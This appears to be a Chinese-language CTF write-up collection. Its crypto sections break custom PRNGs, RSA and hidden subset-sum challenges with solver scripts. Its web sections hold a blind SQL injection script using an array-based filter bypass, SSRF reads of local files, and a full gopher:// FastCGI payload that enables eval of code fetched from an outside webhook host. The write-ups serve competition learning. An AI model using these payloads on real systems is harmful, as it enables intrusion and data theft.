- maple3142
- k1a
- nella17
- twinklestar03
from flag import flag
import random
import string
charset = string.ascii_letters + string.digits + '_{}'
class MyRandom:
def __init__(self):
self.n = 2**256
self.a = random.randrange(2**256)
self.b = random.randrange(2**256)
def _random(self):
tmp = self.a
self.a, self.b = self.b, (self.a * 69 + self.b * 1337) % self.n
tmp ^= (tmp >> 3) & 0xde
tmp ^= (tmp << 1) & 0xad
tmp ^= (tmp >> 2) & 0xbe
tmp ^= (tmp << 4) & 0xef
return tmp
def random(self, nbit):
return sum((self._random() & 1) << i for i in range(nbit))
assert all(c in charset for c in flag)
assert len(flag) == 60
random_sequence = []
for i in range(6):
rng = MyRandom()
random_sequence += [rng.random(8) for _ in range(10)]
ciphertext = bytes([x ^ y for x, y in zip(flag.encode(), random_sequence)])
print(ciphertext.hex())
這題的 PRNG 有兩個 256 bit 狀態
Tamper 的部份可以用觀察或是測試發現說 tmp 的 lsb 都保持不動,所以 tmp 的 lsb 直接就來自
tmp ^= (tmp >> 3) & 0xde
tmp ^= (tmp << 1) & 0xad
tmp ^= (tmp >> 2) & 0xbe
tmp ^= (tmp << 4) & 0xef
因為我們只在意 lsb,也就是 % self.n
視為 % 2
,然後就可以注意到說
所以在只考慮 lsb 的情況下這個 PRNG 實際上的狀態只有四種: 0 0
0 1
1 0
1 1
所以直接爆破四種起始狀態輸出的 key stream 即可 xor 回原本的 flag。
class MyRandom:
def __init__(self, a, b):
self.n = 2 ** 256
self.a = a
self.b = b
def _random(self):
tmp = self.a
self.a, self.b = self.b, (self.a * 69 + self.b * 1337) % self.n
tmp ^= (tmp >> 3) & 0xDE
tmp ^= (tmp << 1) & 0xAD
tmp ^= (tmp >> 2) & 0xBE
tmp ^= (tmp << 4) & 0xEF
return tmp
def random(self, nbit):
return sum((self._random() & 1) << i for i in range(nbit))
def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])
keys = [
bytes([rng.random(8) for _ in range(10)])
for a in range(2)
for b in range(2)
if (rng := MyRandom(a, b))
]
ct = bytes.fromhex(
"9dfa2c9ccd5c84c61feb00ea835e848732ac8701da32b5865a84db59b08532b6cf32ebc10384c45903bf860084d018b5d55a5cebd832ef8059ead810"
)
for i in range(0, len(ct), 10):
for k in keys:
s = xor(ct[i : i + 10], k)
if s.isascii():
print(s.decode(), end="")
print()
# FLAG{1_pr0m153_1_w1ll_n07_m4k3_my_0wn_r4nd0m_func710n_4641n}
from flag import flag
import random
class MyRandom:
def __init__(self):
self.n = 256
self.a = random.randrange(256)
self.b = random.randrange(256)
def random(self):
tmp = self.a
self.a, self.b = self.b, (self.a * 69 + self.b * 1337) % self.n
tmp ^= (tmp >> 3) & 0xDE
tmp ^= (tmp << 1) & 0xAD
tmp ^= (tmp >> 2) & 0xBE
tmp ^= (tmp << 4) & 0xEF
return tmp
class TruelyRandom:
def __init__(self):
self.r1 = MyRandom()
self.r2 = MyRandom()
self.r3 = MyRandom()
print(self.r1.a, self.r1.b)
print(self.r2.a, self.r2.b)
print(self.r3.a, self.r3.b)
def random(self):
def rol(x, shift):
shift %= 8
return ((x << shift) ^ (x >> (8 - shift))) & 255
o1 = rol(self.r1.random(), 87)
o2 = rol(self.r2.random(), 6)
o3 = rol(self.r3.random(), 3)
o = (~o1 & o2) ^ (~o2 | o3) ^ (o1)
o &= 255
return o
assert len(flag) == 36
rng = TruelyRandom()
random_sequence = [rng.random() for _ in range(420)]
for i in range(len(flag)):
random_sequence[i] ^= flag[i]
open("output.txt", "w").write(bytes(random_sequence).hex())
這題使用的 PRNG TruelyRandom
是使用三個 MyRandom
所組合而成的,每個各有
輸出的時候是把每個 random 輸出的一個 byte 經過 rol
對 bits 做些交換,之後使用 o = (~o1 & o2) ^ (~o2 | o3) ^ (o1)
的做組合後輸出一個 byte。因為不是 lsb 所以不能像前面那題直接
直接爆破的話需要
先觀察輸出公式的真值表可以看出說 o1
和 ~o
有 75% 的機率相同,o3
和 ~o
也是 75% 的機率相同。在這種情況下就能使用 correlation attack 去單獨爆破其中一個 MyRandom
的 seed,只需要
由於輸出的值是一個 byte,在 correlation attack 的時候是直接比較 8 個 bits 相同的機率,然後取平均看有沒有超過 70%。
獲得 r1
和 r3
的 seed 之後直接再用 r2
的 seed,之後就能 xor 回原本的 flag。
class MyRandom:
def __init__(self, a, b):
self.a = a
self.b = b
def random(self):
tmp = self.a
self.a, self.b = self.b, (self.a * 69 + self.b * 1337) & 0xFF
tmp ^= (tmp >> 3) & 0xDE
tmp ^= (tmp << 1) & 0xAD
tmp ^= (tmp >> 2) & 0xBE
tmp ^= (tmp << 4) & 0xEF
return tmp
def rol(x, shift):
shift %= 8
return ((x << shift) ^ (x >> (8 - shift))) & 255
ct = list(
bytes.fromhex(
"d5de8acdc0fa83d9c5bbe683cb33ef07949d6faeee8b00f6a2cc10cad800ca818e1cfd34f96f8fe71c9dbb3930ec8fb89183c9eef059cddcdc62a3fcf96eaea6dcab1bde96db8dbb13e3eb5d144fec9c6c91637cffdb0d8c988c2a189a8aaeaa136afe8cd469dddedf88ed7effbf2fd89e8f8afa88beb9ba1150eaaec0c8fdb5d4fbe3efff8ca866ecbf2bda996a7f9e136d6d6e1afbccb664e24d5ef98e9fa63e8d8b3a385aef999389d9dcfbe9f8f6d4908bdaf9bdbd8dfeaebafea28aca8c9181cb8ca8cbc9a6f48893dcf94b8b4efca91a8ab1a84f9893ac4fafb86ee9dbff7a9949ff6e8fe40a9daa2c30ea99b89383c9ecf459d8d8dc66a1fcff6daeb4caab0ad896c88cbb11e3eb4c134ff9886c84617cf9cf0d8b9d8c3b189a88adaa117dfe8ac369c8c9df88f87ef9ad2fce9f8f9be988a9adba1343eabbd6c8e8b4d4eaf2eff989a865febf3acb996c6d9e11696d6c1afbd9b664e64b5eff899fb42c8d9a383849ea99918dd9cdf8e9ede6d4858ddaffadbd8affaeabfaa288cd8c9392cb8abbcbdcb5f48882dcff5d8b58f9a90b9db1bf5f9891bb4fbaaa6efcdeff6b8c49"
)
)
def gen_table(shift, ln=128):
table = {}
for a in range(256):
for b in range(256):
r = MyRandom(a, b)
stream = tuple([rol(r.random(), shift) for _ in range(ln)])
table[stream] = (a, b)
return table
def solve_gen1():
# a == ~(((~a)&b)^((~b)|c)^a) for 75%
table = gen_table(87)
for stream, (a, b) in table.items():
same = [0] * 8
for i in range(36, len(stream)):
for j in range(8):
mask = 1 << j
if ((~ct[i]) & mask) == stream[i] & mask:
same[j] += 1
rates = [s / (len(stream) - 36) for s in same]
if sum(rates) / len(rates) > 0.70:
print(a, b, rates)
return a, b, stream
def solve_gen3():
# c == ~(((~a)&b)^((~b)|c)^a) for 75%
table = gen_table(3)
for stream, (a, b) in table.items():
same = [0] * 8
for i in range(36, len(stream)):
for j in range(8):
mask = 1 << j
if ((~ct[i]) & mask) == stream[i] & mask:
same[j] += 1
rates = [s / (len(stream) - 36) for s in same]
if sum(rates) / len(rates) > 0.70:
print(a, b, rates)
return a, b, stream
a1, b1, s1 = solve_gen1()
a3, b3, s3 = solve_gen3()
table2 = gen_table(6)
for s2, (a2, b2) in table2.items():
oo = [((~o1 & o2) ^ (~o2 | o3) ^ (o1)) & 0xFF for o1, o2, o3 in zip(s1, s2, s3)]
if oo[36:] == ct[36 : len(oo)]:
print(a2, b2)
print(bytes([x ^ y for x, y in zip(oo, ct)][:36]))
# pypy3 takes less than 3s
# FLAG{1_l13d_4nd_m4d3_4_n3w_prn6_qwq}
from Crypto.Util.number import *
from secret import flag
n = ZZ(bytes_to_long(flag))
p = getPrime(int(640))
assert n < p
print(p)
K = Zmod(p)
def hash(B, W, H):
def step(a, b, c):
return vector([9 * a - 36 * c, 6 * a - 27 * c, b])
def steps(n):
Kx.<a, b, c> = K[]
if n == 0: return vector([a, b, c])
half = steps(n // 2)
full = half(*half)
if n % 2 == 0: return full
else: return step(*full)
return steps(n)(B, W, H)
print(hash(79, 58, 78))
這題只給了個 hash function,輸入有 step
函數單純的對於三個輸入
steps
函數則是對於輸入 step
代表的是一個未知的轉換 half = steps(n // 2)
計算 half(*half)
就是 steps(n)
其實就代表
而 step
代表的
因此這題簡單來說就是給予
要求矩陣的次方想做的第一件事是對角化看看,不過很容易就能發現
另外
這題的
上三角矩陣的次方容易推出通項公式,不過我直接偷懶讓 WolframAlpha 大神來計算: 通項公式
所以
其中
相除得到
所以
from Crypto.Util.number import *
p = 2888665952131436258952936715089276376855255923173168621757807730410786288318040226730097955921636005861313428457049105344943798228727806651839700038362786918890301443069519989559284713392330197
K = Zmod(p)
A = matrix(K, [[9, 0, -36], [6, 0, -27], [0, 1, 0]])
u = vector(K, (79, 58, 78))
v = vector(
K,
(
2294639317300266890015110188951789071529463581989085276295636583968373662428057151776924522538765000599065000358258053836419742433816218972691575336479343530626038320565720060649467158524086548,
1566616647640438520853352451277215019156861851308556372753484329383556781312953384064601676123516314472065577660736308388981301221646276107709573742408246662041733131269050310226743141102435560,
2794094290374250471638905813912842135127051843020655371741518235633082381443339672625718699933072070923782732400527475235532783709419530024573320695480648538261456026723487042553523968423228485,
),
)
J, P = A.jordan_form(transformation=True)
# A^n*v=u
# A=PJP^-1
# J^n*vv=uu
print(J)
vv = ~P * v
uu = ~P * u
a, b, c = uu
aa, bb, cc = vv
n = (18 * bb * c - 18 * b * cc) / (6 * c * cc)
print(long_to_bytes(n))
# FLAG{haha_diagonalization_go_brRRRrRrrrRrRrrrRrRrRRrrRrRrRRRRrrRRrRRrrrrRrRrRrR}
from Crypto.Util.number import *
from secret import flag
p = getPrime(512)
q = getPrime(512)
n = p * q
m = n**2 + 69420
h = (pow(3, 2022, m) * p**2 + pow(5, 2022, m) * q**2) % m
c = pow(bytes_to_long(flag), 65537, n)
print('n =', n)
print('h =', h)
print('c =', c)
這題是在一般 RSA 之上多提供一個
註: 本文中 Lattice 一律以 row vector 為 basis
可知
一個簡單的想法是用 LLL 對
這個技巧就在 rkm0959/Inequality_Solving_with_CVP 這個 repo 中實作了出來,方法就是把
使用了那個 repo 的 CVP solver 出來的向量
註: 因為
,所以 才會是完全平方數
from Crypto.Util.number import *
n = 60116508546664196727889673537793426957208317552814539722187167053623876043252780386821990827068176541032744152377606007460695865230455445490316090376844822501259106343706524194509410859747044301510282354678419831232665073515931614133865254324502750265996406483174791757276522461194898225654233114447953162193
h = 2116009228641574188029563238988754314114810088905380650788213482300513708694199075187203381676605068292187173539467885447061231622295867582666482214703260097506783790268190834638040582281613892929433273567874863354164328733477933865295220796973440457829691340185850634254836394529210411687785425194854790919451644450150262782885556693980725855574463590558188227365115377564767308192896153000524264489227968334038322920900226265971146564689699854863767404695165914924865933228537449955231734113032546481992453187988144741216240595756614621211870621559491396668569557442509308772459599704840575445577974462021437438528
c = 50609945708848823221808804877630237645587351810959339905773651051680570682896518230348173309526813601333731054682678018462412801934056050505173324754946000933742765626167885199640585623420470828969511673056056011846681065748145129805078161435256544226137963588018603162731644544670134305349338886118521580925
e = 65537
m = n ** 2 + 69420
a = pow(3, 1011, m)
b = pow(5, 1011, m)
B = matrix(ZZ, [[m, 0, 0], [a ^ 2, 1, 0], [b ^ 2, 0, 1]])
load("solver.sage") # https://github.com/rkm0959/Inequality_Solving_with_CVP
lb = [h, 0, 0]
ub = [h, 2 ^ 1024, 2 ^ 1024]
result, applied_weights, fin = solve(B, lb, ub) # PS: B will be modified inplace
v = vector(
[x // y for x, y in zip(result, applied_weights)]
) # closest vector to (lb+ub)/2
print(v)
if not v[1].is_square():
R = B.LLL()
l0 = vector([x // y for x, y in zip(R[0], applied_weights)])
l1 = vector([x // y for x, y in zip(R[1], applied_weights)])
# enumerate nearby vectors
for i in range(-10, 10):
for j in range(-10, 10):
vv = v + l0 * i + l1 * j
if vv[1].is_square():
print("found", i, j)
p = vv[1].sqrt()
q = vv[2].sqrt()
assert p * q == n
d = inverse_mod(e, (p - 1) * (q - 1))
m = power_mod(c, d, n)
print(long_to_bytes(m))
# FLAG{7hI5_i5_4_C0MPL373_r4nD0M_fL49_8LinK}
from Crypto.Util.number import *
import os
from flag import flag
blen = 256
def rsa(p: int, q: int, message: bytes):
n = p * q
e = 65537
pad_length = n.bit_length() // 8 - len(message) - 2 # I padded too much
message += os.urandom(pad_length)
m = bytes_to_long(message)
return (n, pow(m, e, n))
def level1(message1: bytes, message2: bytes):
while True:
p1 = getPrime(blen) # 512-bit number
p2 = (p1 - 1) // 2
if isPrime(p2):
break
q1 = getPrime(blen)
q2 = getPrime(blen)
return rsa(p1, q1, message1), rsa(p2, q2, message2)
def level2(message1: bytes, message2: bytes):
while True:
p1 = getPrime(blen) # 512-bit number
p2 = (p1 + 1) // 2
if isPrime(p2):
break
q1 = getPrime(blen)
q2 = getPrime(blen)
return rsa(p1, q1, message1), rsa(p2, q2, message2)
assert len(flag) == 44
l = len(flag) // 4
m1, m2, m3, m4 = [flag[i * l: i * l + l] for i in range(4)]
c1, c2 = level1(m1, m2)
c3, c4 = level2(m3, m4)
print(f'{c1 = }')
print(f'{c2 = }')
print(f'{c3 = }')
print(f'{c4 = }')
這題的 flag 分成了四等分,分別用了四個 RSA modulus 加密,前兩個是 level1,後兩個是 level2。
解題可以從費馬小定理開始
可知就算多開
而
只是說
之所以能這樣做是因為
這個概念其實就是 Pollard p-1,當
唯一的不同在於
參考這篇文章可知對於以下的 Lucas Sequence
設
如果
這邊可以注意到
from Crypto.Util.number import *
c1 = (
7125334583032019596749662689476624870348730617129072883601037230619055820557600004017951889099111409301501025414202687828034854486218006466402104817563977,
4129148081603511890044110486860504513096451540806652331750117742737425842374298304266296558588397968442464774130566675039127757853450139411251072917969330,
)
c2 = (
2306027148703673165701737115582071466907520373299852535893311105201050695517991356607853174423460976372892149320885781870159564414187611810749699797202279,
600009760336975773114176145593092065538518609408417314532164466316030691084678880434158290740067228766533979856242387874408357893494155668477420708469922,
)
c3 = (
9268888642513284390417550869139808492477151321047004950176038322397963262162109301251670712046586685343835018656773326672211744371702420113122754069185607,
5895040809839234176362470150232751529235260997980339956561417006573937337637985480242398768934387532356482504870280678697915579761101171930654855674459361,
)
c4 = (
6295574851418783753824035390649259706446806860002184598352000067359229880214075248062579224761621167589221171824503601152550433516077931630632199823153369,
3120774808318285627147339586638439658076208483982368667695632517147182809570199446305967277379271126932480036132431236155965670234021632431278139355426418,
)
e = 65537
def solve_level1(n1, c1, n2, c2):
p1 = gcd(power_mod(2, 2 * n2, n1) - 1, n1)
p2 = (p1 - 1) // 2
q1 = n1 // p1
q2 = n2 // p2
d1 = inverse_mod(e, (p1 - 1) * (q1 - 1))
d2 = inverse_mod(e, (p2 - 1) * (q2 - 1))
m1 = power_mod(c1, d1, n1)
m2 = power_mod(c2, d2, n2)
return long_to_bytes(m1), long_to_bytes(m2)
def lucas_v(a, n):
# computes n-th lucas number for v_n=a*v_{n-1}-v_{n-2} with fast matrix power
v0 = 2
v1 = a
R = a.base_ring()
M = matrix(R, [[a, -1], [1, 0]])
v = M ^ (n - 1) * vector(R, [v1, v0])
return v[0]
def solve_level2(n1, c1, n2, c2):
# based on Williams p+1: http://users.telenet.be/janneli/jan/factorization/williams_p_plus_one.html
for a in range(2, 10):
p1 = ZZ(gcd(lucas_v(Mod(a, n1), 2 * n2) - 2, n1))
if 1 < p1 < n1:
break
p2 = (p1 + 1) // 2
q1 = n1 // p1
q2 = n2 // p2
d1 = inverse_mod(e, (p1 - 1) * (q1 - 1))
d2 = inverse_mod(e, (p2 - 1) * (q2 - 1))
m1 = power_mod(c1, d1, n1)
m2 = power_mod(c2, d2, n2)
return long_to_bytes(m1), long_to_bytes(m2)
m1, m2 = solve_level1(*c1, *c2)
m3, m4 = solve_level2(*c3, *c4)
flag = b"".join([x[:11] for x in [m1, m2, m3, m4]])
print(flag)
# flag{S0rry_1_f0r9ot_T0_cH4nGe_7h3_t35t_fl46}
from secret import flag
import sys
def genModular(x):
if x <= 2 * 210:
return random_prime(2^x, False, 2^(x - 1))
return random_prime(2^210, False, 2^209) * genModular(x - 210)
N, L = 100, 200
M = genModular(int(N * N * 0.07 + N * log(N, 2)))
# generate a random vector in Z_M
a = vector(ZZ, [ZZ.random_element(M) for _ in range(N)])
# generate a random 0/1 matrix
while True:
X = Matrix(ZZ, L, N)
for i in range(L):
for j in range(N):
X[i, j] = ZZ.random_element(2)
if X.rank() == N:
break
# let's see what will this be
b = X * a
for i in range(L):
b[i] = mod(b[i], M)
print('N =', N)
print('L =', L)
print('M =', M)
print('b =', b)
x = vector(ZZ, int(N))
for j in range(N):
for i in range(L):
x[j] = x[j] * 2 + X[i, j]
def bad():
print("They're not my values!!!")
sys.exit(0)
def calc(va, vx):
ret = [0] * L
for i, vai in enumerate(va):
for j in range(L):
bij = (vx[i] >> (L - 1 - j)) & 1
ret[j] = (ret[j] + vai * bij) % M
return ret
if __name__ == '__main__':
print('What are my original values?')
print('a?')
aa = list(map(int, input().split()))
print('x?')
xx = list(map(int, input().split()))
if len(aa) != len(a):
bad()
if len(xx) != len(x):
bad()
if calc(a, x) != calc(aa, xx):
bad()
print(flag)
程式碼有點複雜,但簡單來說就是給予你向量
Source code 中下面這段是用來把
x = vector(ZZ, int(N))
for j in range(N):
for i in range(L):
x[j] = x[j] * 2 + X[i, j]
而 calc
函數其實就只是利用壓縮過的矩陣 vx
和向量 va
做
這個問題的
這題就像是在問說怎麼把個
以這題
而對於 density 小於
解題的話目前有兩個方法,先找
另一個出發點是想辦法尋找
先用下面這個 Lattice 去 reduce:
其中空白部分都是
實際測試會發現 reduced 過的 basis 中的前
由於
這個問題像是怎麼找
測試一下可以發現有約
找到之後就能解方程組得到
from pwn import *
import ast
L = 200
N = 100
io = remote("eof.ototot.cf", 51820)
io.recvuntil(b"M = ")
M = ZZ(int(io.recvlineS().strip()))
io.recvuntil(b"b = ")
b = ast.literal_eval(io.recvlineS().strip())
def knapsack2(b):
B = matrix(b).T.augment(matrix.identity(len(b)))
# B = B.stack(vector([0] + [-1] * len(b)))
B = B.stack(vector([M] + [0] * len(b)))
B[:, 0] *= 2 ^ 20
# print(B.change_ring(Zmod(10)))
print(B.dimensions())
for row in B.BKZ():
# print(row)
if row[0] == 0:
cf = row[1:]
# print(sum([x * y for x, y in zip(cf, b)]) % M == 0)
# print(vector(cf) * X.change_ring(Zmod(M)))
yield vector(cf)
p_vecs = list(knapsack2(b))
Xleftkernel = matrix(p_vecs[:N])
B = Xleftkernel.T.augment(matrix.identity(L))
B[:, :N] *= 2 ^ 10
R = B.BKZ()
goodvecs = []
for row in R:
if row[0] != 0:
print("??")
continue
if all(-1 <= x <= 1 for x in row):
if any(x < 0 for x in row):
row = -row
assert Xleftkernel * row[N:] == 0
goodvecs.append(row[N:])
if all(0 <= x <= 1 for x in row):
print(row)
print(len(goodvecs))
# for v in goodvecs:
# tt = X.solve_right(v)
# print([x for x in tt if x != 0])
# for v in X.T:
# tt = matrix(goodvecs).solve_left(v)
# # print([x for x in tt if x != 0])
# print([(i, x) for i, x in enumerate(tt) if x != 0])
from itertools import product
from tqdm import tqdm
Xvecs = set()
for v in goodvecs:
if all(0 <= x <= 1 for x in v):
Xvecs.add(tuple(v))
bestvec = v
print(len(Xvecs))
for v1 in tqdm(goodvecs):
for v2 in goodvecs:
for coef in product([-1, 0, 1], repeat=3):
vv = coef[0] * v1 + coef[1] * v2 + coef[2] * bestvec
if any([x < 0 for x in vv]):
vv = -vv
if all([0 <= x <= 1 for x in vv]) and sum(vv) != 0:
Xvecs.add(tuple(vv))
if len(Xvecs) == N:
break
Xvecs = list(Xvecs)
# assert all([tuple(v) in list(map(tuple, X.T)) for v in Xvecs])
XX = matrix(ZZ, Xvecs).T
aa = XX.change_ring(Zmod(M)).solve_right(vector(b)).change_ring(ZZ)
xx = vector(ZZ, int(N))
for j in range(N):
for i in range(L):
xx[j] = xx[j] * 2 + XX[i, j]
def calc(va, vx):
ret = [0] * L
for i, vai in enumerate(va):
for j in range(L):
bij = (vx[i] >> (L - 1 - j)) & 1
ret[j] = (ret[j] + vai * bij) % M
return ret
assert tuple(calc(aa, xx)) == tuple(b)
io.sendlineafter(b"a?", " ".join(map(str, aa)).encode())
io.sendlineafter(b"x?", " ".join(map(str, xx)).encode())
io.interactive()
# FLAG{W0W_You_knoW_h0w_to_solve_H1dden_Sub5et_5um_Probl3m}
這題官方的預期解是 A Polynomial-Time Algorithm for Solving the Hidden Subset Sum Problem,但我實在沒能在解題時 OSINT 到這個名字…
簡單對照了一下,我用的方法大概是個比較 ad-hoc 版本的 orthogonal lattice attack,概念上都和 Nguyen-Stern Attack 接近
這題有個簡單的 web 服務可以讓你登入,關鍵的程式碼在這邊:
const db = new sqlite3.Database('/tmp/db.sqlite3');
db.exec(`
-- (re)create users table
DROP TABLE IF EXISTS users;
CREATE TABLE users(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT,
ip TEXT
);
-- create the chosen one
INSERT INTO users
(username, password, ip)
VALUES
('kirito', 'FLAG{${FL4G}}', '48.76.33.33');
`);
// initialize app
const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
// omitted...
app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username?.includes("'") || password?.includes("'"))
return res.send('Hacking attempt detected!'); // SQL injection?
const query = `SELECT username, password, ip FROM users WHERE username = '${username}'`;
db.get(query, (err, user) => {
if (res.headersSent) return;
if (!err && user && user.password === password && user.ip === req.ip)
res.redirect('/welcome');
else
res.render('failed');
});
// querying time should not longer than 50ms
res.setTimeout(50, () => res.render('failed'));
});
可以看到說他會檢查 username
和 password
有沒有 '
(單引號),之後用字串拼接去生 sql query。
不過他在使用 body parser 的時候是開啟了 extended
模式,這模式下它是會接受 username[]=123
型式的 payload,然後解析為 { username: ["123"] }
。因為 javascript 的 string 和 array 都有 includes
函數,所以在一個 ["' or 1=1;# "]
的 array 上去檢查有沒有 includes("'")
是 false。但是當 array 轉回字串時基本上是等價 ','.join(arr)
,所以一樣能 injection。
可以 injection 之後可以知道它根本不會回傳 response,就算有 error 也不管,所以只能用 blind (或是 time)。基本上就設計一個條件讓他在成立時進入 res.redirect('/welcome')
,不成立就進入 res.render('failed')
,之後就能用內建的一些函數去湊 condition,把 database 裡面的東西撈出來。
flag 可以知道是放在 user kirito
的密碼,所以用個下方的 injection 就可以一個一個字元去 binary search 了:
' union select 'peko','miko','{ip}' from users where unicode(substr(password,{index}))<{value} and username='kirito
不過很快就會發現直接在一般 ASCII 範圍中 binary search 會失敗,檢查一下會發現它原來是有包含許多 unicode 字元,包含中文和 emoji。因應對策就直接把 password
換成 hex(password)
,然後 binary search hex chars 的範圍即可。
import requests
ip = requests.get("https://ipinfo.io/ip").text
print(ip)
def check_char(i, v):
r = requests.post(
"https://sao.h4ck3r.quest/login",
data={
"username[]": f"' union select 'peko','miko','{ip}' from users where unicode(substr(hex(password),{i+1}))<{v} and username='kirito",
"password": "miko",
},
allow_redirects=False,
)
return "welcome" in r.text
def bsearch_char(i):
l = 48
r = 71
while l + 1 != r:
m = (l + r) // 2
if check_char(i, m):
r = m
else:
l = m
return chr(l)
flaghex = ""
while True:
flaghex += bsearch_char(len(flaghex))
if len(flaghex) % 2 == 0:
try:
flag = bytes.fromhex(flaghex).decode()
print(flaghex, flag)
if flag[-1] == "}":
break
except UnicodeDecodeError:
pass
# FLAG{星🔵Starburst⚔️ꜱᴜᴛᴏʀɪᴍᴜ⚫爆}
進入網頁可以發現 /proxy?url=
可以 SSRF,先存取自己的 server,從 User-Agent 發現是透過 python-urllib 存取。
GET / HTTP/1.1
Host: XXXX-XXX-XXX-XXX-XXX.ngrok.io
User-Agent: Python-urllib/3.10
Accept-Encoding: identity
X-Forwarded-For: 60.250.197.227
X-Forwarded-Proto: http
python-urllib 可以讀取 local file,但直接使用 file:///etc/hosts
會產生錯誤,使用 file://l.nella17.tw/etc/hosts
繞過。
l.nella17.tw 指向 127.0.0.1
讀取 file://l.nella17.tw/proc/mounts
取得 flag 位置。
...
/dev/sda2 /start.sh ext4 ro,relatime 0 0
/dev/sda2 /h3y_i_4m_th3_fl4ggg ext4 ro,relatime 0 0
/dev/sda2 /etc/resolv.conf ext4 rw,relatime 0 0
/dev/sda2 /etc/hostname ext4 rw,relatime 0 0
/dev/sda2 /etc/hosts ext4 rw,relatime 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k 0 0
/dev/sda2 /sup3rrrrr/secret/server ext4 ro,relatime 0 0
/dev/sda2 /etc/nginx/sites-available/default ext4 ro,relatime 0 0
...
讀取 file://l.nella17.tw/h3y_i_4m_th3_fl4ggg
取得 flag。
FLAG{well, maybe not? XD}
intended solution 是讀取 secret key,利用 bottle cookie 的 pickle deserialize 觸發 RCE
Deserialization security issues when using signed cookies
dorneanu opened this issue on Oct 13, 2016
Release 0.13, Warning, Not released yet.
這題是給了個被攻下來的網站,還直接提供了一個 webshell。只是說 webshell 執行指令的功能是壞掉的,而 flag 需要 /readflag
。
webshell 的 viewer 和 editor 功能是正常的,而本身版本是 Antichat Shell v1.3,讀 webshell 本身的檔案後和 Google 到其他版本比較一下可以發現這題的 webshell 多加了 Download another webshell
的功能。
該部份的程式碼如下:
// download shell
if ($action=='downshell') {
echo "<form method=\"POST\">
<input type=\"hidden\" name=\"action\" value=\"downshell\">
<p>webshell path to write:<input name=\"downpath\" value=\"/path/to/webshell.php\" size=50></p>
<p>remote webshell url: <input name=\"shell_url\" value=\"https://raw.githubusercontent.com/tennc/webshell/master/138shell/A/Antichat%20Shell%20v1.3.txt\" size=100></p>
<input type=\"submit\" value=\"download it\"></form>";
if(@$_POST['shell_url']){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['shell_url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
$shell = curl_exec($ch);
curl_close($ch);
$file = fopen($_POST['downpath'], "w");
fwrite($file, $shell);
fclose($file);
}
}
// end download shell
基本上就是可以任意 curl 到一個網址,然後存檔到任意可寫入的地方 (only /tmp
(?))。
之後再用 viewer 可以在 /usr/local/etc/php/conf.d/docker-php.ini
找到額外的設定,裡面就寫了 disable_functions = "shell_exec, system"
,這就是為什麼 webshell 執行指令的功能會掛的原因。
用 curl 去 ssrf file:///proc/self/net/tcp
可以看到有連接的 tcp 連線,自己寫個腳本 parse 一下可以發現有個到 127.0.0.1:9000
的連線,對應 phpinfo 可以知道是 fastcgi。
有 fastcgi 的話那就能用 curl + gopher 去 ssrf 達成 RCE,這部分 payload 可以用 Gopherus 生成。只是生成後去 RCE 會發現說還是會碰到 system
被禁用的問題。
後來就自己 patch 了 Gopherus 的 FastCGI.py
:
diff --git a/scripts/FastCGI.py b/scripts/FastCGI.py
index edf6b12..cb723f1 100644
--- a/scripts/FastCGI.py
+++ b/scripts/FastCGI.py
@@ -4,10 +4,11 @@ def FastCGI():
filename = raw_input("\033[96m" +"Give one file name which should be surely present in the server (prefer .php file)\nif you don't know press ENTER we have default one: "+ "\033[0m")
if(not filename):
- filename="/usr/share/php/PEAR.php"
+ filename="/var/www/html/index.php"
- command=raw_input("\033[96m" +"Terminal command to run: "+ "\033[0m")
- length=len(command)+52
+ # command=raw_input("\033[96m" +"Terminal command to run: "+ "\033[0m")
+ php_code = "<?php eval(file_get_contents('https://webhook.site/39461208-ad58-46a6-8a61-31fb7ac25d2f'));"
+ length=len(php_code)
char=chr(length)
data = "\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e" + chr(len(str(length)))
@@ -19,7 +20,7 @@ def FastCGI():
temp3 = chr(len(data) % 8)
end = str("\x00"*(len(data)%8)) + "\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00" + char + "\x04\x00"
- end += "<?php system('" + command + "');die('-----Made-by-SpyD3r-----\n');?>\x00\x00\x00\x00"
+ end += php_code+"\x00\x00\x00\x00"
start = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" + temp1 + temp2 + temp3 + "\x00"
直接把 code 部分改成從遠端下載程式碼來 eval,然後在遠端測試了幾個函數發現說 passthru('/readflag give me the flag');
可以拿到 flag: FLAG{g0pher://finally a real ssrf challenge, and this should be a missing lab for edu-ctf students?}
。
ssrf 的指令:
curl 'https://pekomiko.h4ck3r.quest/uploads/webshell.php' --data 'action=downshell' --data-urlencode 'shell_url=gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH91%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5B%04%00%3C%3Fphp%20eval%28file_get_contents%28%27https%3A//webhook.site/39461208-ad58-46a6-8a61-31fb7ac25d2f%27%29%29%3B%00%00%00%00' --data 'downpath=/tmp/okpeko'
讀 output 的指令:
curl 'https://pekomiko.h4ck3r.quest/uploads/webshell.php' --data 'action=download' --data-urlencode 'file=/tmp/okpeko' --output -
雖然比賽時沒注意到,不過 ssrf 的
/tmp/okpeko
可以直接換成php://output
,這樣只要一個指令就能看到輸出
這題有個壓縮過的 php,把它 beautify 後如下:
<?php
// using php:7.4-apache Dokcer image
isset($_GET['8']) && ($_GET['8'] === '===D') && die(show_source(__FILE__, 1));
